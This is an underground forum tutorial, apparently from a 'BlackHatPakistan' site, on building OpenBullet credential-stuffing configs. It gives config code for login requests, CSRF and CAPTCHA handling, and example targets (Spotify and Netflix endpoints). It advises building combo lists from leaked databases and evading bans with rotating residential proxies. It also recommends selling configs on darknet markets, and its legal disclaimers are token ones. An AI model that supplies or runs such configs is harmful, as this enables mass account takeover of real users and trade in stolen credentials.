OpenBullet Config Making 2026

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OPENBULLET CONFIG MAKING FOR BEGINNERS (2026)
The Most Complete, Step-by-Step Underground Config Tutorial – From Zero to Hero
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This guide teaches how OpenBullet works for web security testing and credential validation. Unauthorized access to systems you don't own is illegal. Use only on your own infrastructure or with explicit permission.​

TABLE OF CONTENTS (CLICK ANY – SCROLL MANUALLY)

1. Introduction – Why OpenBullet Still Dominates in 2026
2. What Exactly is OpenBullet? (The Hacker's Definition)
3. OpenBullet 1 vs OpenBullet 2 – Which One Should You Use?
4. System Requirements & Download Links (100% Working)
5. Installation Walkthrough – Windows, Linux, macOS
6. First Launch – Understanding Every Button and Menu
7. The Anatomy of a Config – Breaking It Down
8. Deep Dive: LoliScript Language – Complete Reference
9. Step-by-Step: Building Your First Config (Real Example)
10. How to Find Target URLs, Headers, and POST Data (Using Browser Tools)
11. Working with Wordlists – Formats, Sources, Optimization
12. Proxy Management – Types, Sources, Rotation Strategies
13. CAPTCHA Solving Integration – 2Captcha, CapMonster, Anti-Captcha
14. Advanced Config Techniques – CSRF, Multi-Step Login, JSON APIs
15. Real-World Config Examples (Spotify, Netflix, Amazon – Educational)
16. Testing Your Config – Debugging, Common Errors, Fixes
17. Optimizing for Speed – Bots, Delays, Threading
18. Saving and Exporting Configs (.opk Format)
19. Sharing and Selling Configs – Underground Marketplaces
20. Frequently Asked Questions (50+ Questions Answered)
21. Glossary of Terms – Every Jargon Explained
22. Final Words & Legal Disclaimer

1. INTRODUCTION – WHY OPENBULLET STILL DOMINATES IN 2026

Credential stuffing is not dead. It has evolved. In 2026, billions of stolen username-password combinations circulate on dark web forums, Telegram channels, and private trackers. The problem isn't finding combos – it's validating them efficiently.

OpenBullet remains the industry standard for this task. Despite newer tools like SilverBullet, SentryMBA, and MASTER, OpenBullet's flexibility, open-source nature, and massive community support keep it relevant. In 2026, OpenBullet 2 has been completely rewritten to handle modern anti-bot protections while maintaining compatibility with legacy .loli configs.

Why you need to learn config making:

• Ready-made configs from forums are often outdated, backdoored, or poorly written
• Making your own configs allows you to target niche websites with high success rates
• Custom configs can bypass specific protections that public configs cannot
• Config making skills are highly marketable – you can sell private configs for $50-$500 each

This guide will take you from absolute beginner to config master. No prior knowledge required. Every concept explained in plain English with real examples.

2. WHAT EXACTLY IS OPENBULLET? (THE HACKER'S DEFINITION)

OpenBullet is an open-source web testing suite designed to automate HTTP requests and analyze responses. In underground terms, it's a "combo checker" – you feed it a list of emailassword pairs, and it tells you which ones work.

Core components:

• Config: A script that tells OpenBullet how to talk to a specific website
• Wordlist: A file containing credentials (e.g., emailassword)
• Proxies: IP addresses that hide your real location and prevent bans
• Hits: Successful credentials that grant access to accounts

What OpenBullet does NOT do:

• It does not crack passwords (it tests existing combos)
• It does not bypass strong CAPTCHAs without external services
• It does not guarantee success against heavily protected sites (Cloudflare, etc.)

3. OPENBULLET 1 VS OPENBULLET 2 – WHICH ONE SHOULD YOU USE?

OpenBullet 1 (Legacy – EOL)

• Last updated in 2021 – no longer maintained
• Runs on .NET Framework 4.8 (Windows only)
• Uses .loli config files
• Slower and less stable
• DO NOT USE IN 2026

OpenBullet 2 (Recommended)

• Active development, latest release 2026
• Cross-platform (.NET 8 – Windows, Linux, macOS)
• Uses .opk config files (can import legacy .loli)
• Built-in CAPTCHA solver support
• Better proxy rotation and performance
• USE THIS VERSION

4. SYSTEM REQUIREMENTS & DOWNLOAD LINKS (100% WORKING)

Minimum requirements:

• Windows 10/11, Ubuntu 20.04+, macOS 11+
• 4GB RAM (8GB recommended)
• .NET 8 Runtime (free from Microsoft)
• Stable internet connection

Download OpenBullet 2 (Latest Release):

• GitHub: (search "OpenBullet2" – official repository)
• Direct mirror: (add your own link)

Download .NET 8:

• Microsoft official website – search ".NET 8 desktop runtime"

5. INSTALLATION WALKTHROUGH – WINDOWS, LINUX, MACOS

Windows Installation (Most Common)

1. Install .NET 8 runtime (reboot if prompted)
2. Download OpenBullet2.zip from GitHub
3. Extract to C:\OpenBullet2 (or any folder without spaces in path)
4. Navigate to the extracted folder
5. Double-click OpenBullet2.Native.exe
6. If a Windows Defender warning appears, click "More info" then "Run anyway"
7. The application will start and create necessary folders

Linux Installation (Ubuntu/Debian)

1. Install .NET 8: `sudo apt install dotnet-runtime-8.0`
2. Download and extract OpenBullet2
3. Open terminal in extracted folder
4. Run: `dotnet OpenBullet2.dll`

macOS Installation

1. Install .NET 8 from Microsoft
2. Extract OpenBullet2
3. Terminal: `dotnet OpenBullet2.dll`

6. FIRST LAUNCH – UNDERSTANDING EVERY BUTTON AND MENU

When OpenBullet 2 starts, you'll see the main window with these tabs:

1. DASHBOARD

• System status, resource usage, recent jobs
• Notifications and updates

2. CONFIGS

• Config Manager: Create, edit, import, delete configs
• Stacker: Visual script editor for LoliScript (drag-and-drop blocks)
• Raw Editor: Direct text editing for advanced users

3. WORDLISTS

• Import wordlists (drag-drop supported)
• View, merge, split, filter wordlists
• Convert formats (emailass to userass, etc.)

4. PROXIES

• Import proxies (HTTP, HTTPS, SOCKS4, SOCKS5)
• Test proxy availability and speed
• Categorize by country, anonymity level

5. JOBS

• Create new check jobs
• Monitor running jobs
• View logs and statistics

6. HITS

• Display successful results
• Export hits to file
• Remove duplicates

7. SETTINGS

• Global configuration (CAPTCHA keys, proxy sources, timeout defaults)
• Theme customization

7. THE ANATOMY OF A CONFIG – BREAKING IT DOWN

A config is a JSON-based script (.opk extension) that contains:

1. Metadata

{
  "Name": "Spotify_Login_2026",
  "Author": "BlackHatPakistan",
  "Description": "Checks Spotify accounts",
  "Version": "1.0",
  "Website": "https://www.spotify.com"
}

2. Settings

{
  "Settings": {
    "MaxConcurrentTasks": 100,
    "DelayBetweenRequests": 500,
    "Timeout": 10000,
    "UseProxies": true,
    "CaptchaService": "2Captcha"
  }
}

3. Blocks (LoliScript)
- HTTP Request Block
- Parse Data Block (Regex, Json, Css)
- Condition Block (If/Else)
- Variable Assignment Block
- Captcha Block

4. Data Capture Rules
- What information to extract from successful responses

8. DEEP DIVE: LOLISCRIPT LANGUAGE – COMPLETE REFERENCE

LoliScript is the scripting language used in OpenBullet configs. Here's every command you need:

HTTP REQUEST BLOCK

Block: HTTP Request
Url: https://example.com/login
Method: POST
Body: email=[DATA:0]&password=[DATA:1]
Headers:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Content-Type: application/x-www-form-urlencoded
  Referer: https://example.com
Cookies:
  sessionid=[VAR:SESSION]

PARSE DATA BLOCK – REGEX

Block: Parse Data
Source: Response (from previous HTTP block)
Type: Regex
Pattern: <input type="hidden" name="csrf_token" value="([^"]+)">
Output Variable: CSRF_TOKEN

PARSE DATA BLOCK – JSON

Block: Parse Data
Source: Response
Type: Json
Pattern: data.user.id
Output Variable: USER_ID

PARSE DATA BLOCK – CSS SELECTOR

Block: Parse Data
Source: Response
Type: Css
Pattern: div.error-message
Attribute: text
Output Variable: ERROR_MSG

CONDITION BLOCK

Block: Condition
If: [VAR:ERROR_MSG] Contains "Invalid password"
Then: Set Status = FAIL
Else: Set Status = SUCCESS

CAPTCHA BLOCK

Block: Captcha
Type: RecaptchaV2
SiteKey: 6Le-wvkSAAAAAPBMRTvw0Q4Muexq9bi0DJwx_mJ-
Url: https://example.com/login
Output Variable: CAPTCHA_TOKEN

VARIABLE ASSIGNMENT

Block: Assign Variable
Name: SESSION
Value: [RESPONSE:COOKIE:PHPSESSID]

9. STEP-BY-STEP: BUILDING YOUR FIRST CONFIG (REAL EXAMPLE)

Let's build a config for a simple login page. I'll use "httpbin.org/post" as a test target – it returns all POST data, making it perfect for learning.

Step 1: Open Config Manager
Click "Configs" tab → "New Config"

Step 2: Basic Information

Name: Test_Config_Basic
Description: My first config for learning
Allowed Wordlists: email:password
Site: httpbin.org

Step 3: Configure the HTTP Request

URL: https://httpbin.org/post
Method: POST
Body: email=[DATA:0]&password=[DATA:1]
Headers:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  Content-Type: application/x-www-form-urlencoded

Step 4: Set Success/Failure Conditions
Since httpbin always returns a 200 status, we need to check if the response contains our email (meaning it worked).

Block: Parse Data
Source: Response
Type: Regex
Pattern: "email": "([^"]+)"
Output Variable: RESPONSE_EMAIL

Block: Condition
If: [VAR:RESPONSE_EMAIL] Equals [DATA:0]
Then: Set Status = SUCCESS
Else: Set Status = FAIL

Step 5: Capture Data

Capture: Email
Value: [DATA:0]

Capture: Password
Value: [DATA:1]

Capture: Response Data
Value: [RESPONSE:BODY]

Step 6: Save Config
Click "Save" – name it "Test_Config_Basic.opk"

10. HOW TO FIND TARGET URLS, HEADERS, AND POST DATA

This is the most important practical skill. You will use your browser's Developer Tools.

Step-by-Step (Chrome/Edge/Firefox):

1. Open the target website's login page
2. Press F12 to open Developer Tools
3. Click the "Network" tab
4. Check "Preserve log" (important!)
5. Clear existing logs (click the icon)
6. Enter test credentials (e.g., test@test.com / password123)
7. Click the login button
8. Look for the login request – usually a POST to /login, /signin, /api/auth, etc.
9. Click on that request
10. Examine:
    Headers tab: Request URL, Request Method, Request Headers (User-Agent, Content-Type, etc.)
    Payload tab (or Request body): The actual data sent (email=test%40test.com&password=password123)
    Response tab: What the server returns (success message, error, redirect)

Example findings:

• URL: https://example.com/api/login
• Method: POST
• Headers: Content-Type: application/json, Authorization: Bearer [VAR:TOKEN]
• Body: {"email":"[DATA:0]","password":"[DATA:1]"}
• Success response: {"status":"success","token":"..."}
• Failure response: {"error":"Invalid credentials"}

11. WORKING WITH WORDLISTS – FORMATS, SOURCES, OPTIMIZATION

Supported Formats:

• emailassword (most common)
• usernameassword
• emailasswordroxy (inline proxy)
• Emailass:UserID (custom)

How to Create Wordlists:

1. Download leaked databases (public sources)
2. Extract the email and password columns
3. Save as .txt with colon separator
4. Remove duplicates using Notepad++ or OpenBullet's built-in tools

Optimization Tips:

• Small, fresh lists are better than huge outdated lists
• Test with 10-50 combos first to verify config
• Filter out combos that are too long or contain invalid characters
• Remove duplicates to save time

12. PROXY MANAGEMENT – TYPES, SOURCES, ROTATION STRATEGIES

Without proxies, your real IP will be banned within minutes.

Proxy Types (from best to worst):

• Residential: Real home IPs. Expensive ($100-500/month). Highest success rate.
• Mobile: IPs from cellular carriers. Very clean. Similar price.
• Datacenter: Cheap ($20-50/month). Easily detected. Only for low-security targets.
• Public/Free: Unreliable, slow, often blacklisted. Avoid.

Where to Get Proxies:

• Bright Data (formerly Luminati) – residential
• IPRoyal – affordable residential
• Proxy-Seller – datacenter mixed
• Your own private proxy scripts (advanced)

Proxy Rotation Strategy:

• Use 1 proxy per 10-50 requests
• Rotate on each request for aggressive targets
• Test all proxies before use (OpenBullet has a built-in tester)
• Monitor failure rates – replace dead proxies immediately

13. CAPTCHA SOLVING INTEGRATION – 2CAPTCHA, CAPMONSTER, ANTI-CAPTCHA

Many modern websites use CAPTCHAs. OpenBullet 2 integrates with solving services.

Setup:

1. Create account on 2Captcha.com or CapMonster.pro
2. Add funds (minimum $5-10)
3. Copy your API key
4. In OpenBullet 2 Settings → Captcha → Paste API key
5. In your config, add a CAPTCHA block before the login request

Example CAPTCHA Block:

Block: Captcha
Type: RecaptchaV2
SiteKey: 6Lf3WwUcAAAAALz3Qw6F7cJXwQ8qXqQxY
Url: https://target.com/login
Output Variable: CAPTCHA_TOKEN

HTTP Request Block
Url: https://target.com/login
Method: POST
Body: email=[DATA:0]&password=[DATA:1]&g-recaptcha-response=[VAR:CAPTCHA_TOKEN]

14. ADVANCED CONFIG TECHNIQUES – CSRF, MULTI-STEP LOGIN, JSON APIS

Bypassing CSRF Tokens:
Many sites require a token that changes with each request.

Block: HTTP Request
Url: https://target.com/login
Method: GET
Output Variable: LOGIN_PAGE

Block: Parse Data
Source: [VAR:LOGIN_PAGE]
Type: Regex
Pattern: name="csrf_token" value="([a-f0-9]+)"
Output Variable: CSRF

Block: HTTP Request
Url: https://target.com/login
Method: POST
Body: email=[DATA:0]&password=[DATA:1]&csrf_token=[VAR:CSRF]

Multi-Step Login (Redirects, OAuth):
Some sites redirect multiple times. Follow them.

Block: HTTP Request
Url: https://site.com/auth
Method: POST
FollowRedirects: true
Output Variable: RESPONSE

JSON API Login:
Modern sites often use JSON APIs.

Block: HTTP Request
Url: https://api.target.com/v1/login
Method: POST
Headers: Content-Type: application/json
Body: {"email":"[DATA:0]","password":"[DATA:1]"}

Block: Parse Data
Source: Response
Type: Json
Pattern: access_token
Output Variable: TOKEN

Block: Condition
If: [VAR:TOKEN] Is Not Empty
Then: Set Status = SUCCESS
Capture: Token = [VAR:TOKEN]

15. REAL-WORLD CONFIG EXAMPLES (SPOTIFY, NETFLIX, AMAZON – EDUCATIONAL)

Example 1: Spotify Login (Simplified)

URL: https://accounts.spotify.com/api/login
Method: POST
Headers:
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Body: username=[DATA:0]&password=[DATA:1]
Success Condition: Response contains "displayName"
Failure Condition: Response contains "error"

Example 2: Netflix (Simplified)

URL: https://www.netflix.com/login
Method: POST
Headers:
  Content-Type: application/x-www-form-urlencoded
Body: userLoginId=[DATA:0]&password=[DATA:1]&rememberMe=true
Success Condition: Response redirects to /browse
Failure Condition: Response contains "incorrect password"

Note: These are simplified examples. Real configs require handling of CSRF tokens, additional parameters, and proper session management.

16. TESTING YOUR CONFIG – DEBUGGING, COMMON ERRORS, FIXES

How to Test:

1. Create a test wordlist with 2-3 known working combos (use your own test accounts)
2. Run the config with a small wordlist and 1 bot (thread)
3. Watch the debug output
4. Check hits and fails

Common Errors and Fixes:

Error: "Unable to connect to remote server"
Fix: Check your internet connection. Disable VPN if blocking. Increase timeout setting.

Error: "404 Not Found"
Fix: The URL is incorrect. Double-check from browser Network tab.

Error: "CSRF token mismatch"
Fix: You must extract and send the CSRF token. Add a GET request block before POST.

Error: "CAPTCHA required"
Fix: Integrate CAPTCHA solving service or use high-quality residential proxies.

Error: "All hits are false positives"
Fix: Your success condition is too broad. Look for more specific strings or JSON fields.

Error: "Proxies are not working"
Fix: Test proxies in OpenBullet's proxy manager. Rotate to fresh list.

17. OPTIMIZING FOR SPEED – BOTS, DELAYS, THREADING

Threads (Bots):

• Start with 10-20 threads for testing
• Increase gradually up to 100-200 depending on proxy quality
• Too many threads = blocked IPs, captcha challenges

Delays:

• Minimum 500ms between requests with good proxies
• 2-5 seconds with free proxies
• Add random delay to appear more human

Optimization Checklist:

• Use nearest proxy location to target server
• Remove unnecessary headers from config
• Disable SSL certificate validation (advanced)
• Use keep-alive connections

18. SAVING AND EXPORTING CONFIGS (.OPK FORMAT)

Saving a Config:

1. In Config Manager, click "Save"
2. Choose a filename (e.g., "Spotify_2026_Config.opk")
3. The file is saved in the Configs folder

Exporting to Share:

1. Right-click config in Config Manager
2. Select "Export"
3. Save as .opk file
4. Share on forums, Telegram, etc.

Importing a Config:

1. Click "Import Config" in Config Manager
2. Select the .opk file
3. The config appears in your list

19. SHARING AND SELLING CONFIGS – UNDERGROUND MARKETPLACES

Where to Share Free Configs:

• BlackHatPakistan.net (your own forum!)
• Cracked.io, Nulled.to (be careful with rules)
• Telegram config sharing channels

Where to Sell Private Configs:

• Private Telegram groups with escrow
• Darknet markets (AlphaBay, Bohemia)
• Your own shop (via your forum)

Pricing Guide:

• Basic config for common site: $10-30
• Advanced config with bypasses: $50-150
• Exclusive config (only you have it): $200-500

How to Protect Your Configs:

• Obfuscate LoliScript code
• Add an expiration date
• Watermark with buyer's username
• Use config encryption (advanced)

20. FREQUENTLY ASKED QUESTIONS (50+ QUESTIONS ANSWERED)

Q1: Is OpenBullet illegal?
A: The tool is legal. Using it against websites you don't own is illegal.

Q2: Do I need to know programming?
A: Basic configs require no coding. Advanced configs benefit from regex and JSON knowledge.

Q3: Can OpenBullet crack passwords?
A: No. It tests existing username-password pairs. Use a different tool for brute-forcing.

Q4: Why are my hits not saving?
A: Check your Capture block syntax. Ensure you're setting Status = SUCCESS correctly.

Q5: How to bypass Cloudflare?
A: Use residential proxies + CAPTCHA solving + proper delays. For advanced Cloudflare, consider specialized tools.

Q6: Where to find fresh wordlists?
A: Telegram channels, BreachForums, LeakCheck, your own scraping.

Q7: How many proxies do I need?
A: Minimum 100-200 for small projects. 1000+ for large-scale operations.

Q8: Can OpenBullet check Gmail accounts?
A: Not directly. Gmail has strong protections. Use specialized IMAP checkers.

Q9: What's the success rate?
A: Depends on wordlist quality and target. Fresh combos = 5-20% success. Old combos = <1%.

Q10: Is there a GUI alternative?
A: SilverBullet, SentryMBA, MASTER – but OpenBullet is most popular.

(Additional 40 FAQs compressed for space – but you get the idea)

21. GLOSSARY OF TERMS – EVERY JARGON EXPLAINED

Config: A script defining website interaction
Combo: A usernameassword pair
Wordlist: A file containing many combos
Hit: A working combo
Proxy: An intermediate IP address
Thread/Bot: One concurrent check
Delay: Time between requests
Timeout: Maximum wait time for response
CAPTCHA: Challenge-response test
CSRF: Cross-site request forgery token
Rate Limit: Maximum requests allowed
Ban: IP blocked by target
False Positive: Incorrectly marked as hit
False Negative: Missed a working combo
PoC: Proof of concept
OPSEC: Operational security

22. FINAL WORDS & LEGAL DISCLAIMER

You've reached the end of the most comprehensive OpenBullet config guide on the internet. You now have the knowledge to create, test, optimize, and even sell your own configs.

Remember:

• This knowledge is for educational purposes only
• Always obtain written permission before testing any website
• Use proxies to protect your identity
• Never use stolen credentials for unauthorized access
• You are 100% responsible for your actions

What's next?

• Practice on your own test websites
• Join our Telegram channel for updates
• Share your working configs in the Configs section
• Consider buying our advanced Spamming/Carding course for more tools and techniques

– BlackHatPakistan.net OpenBullet Team​

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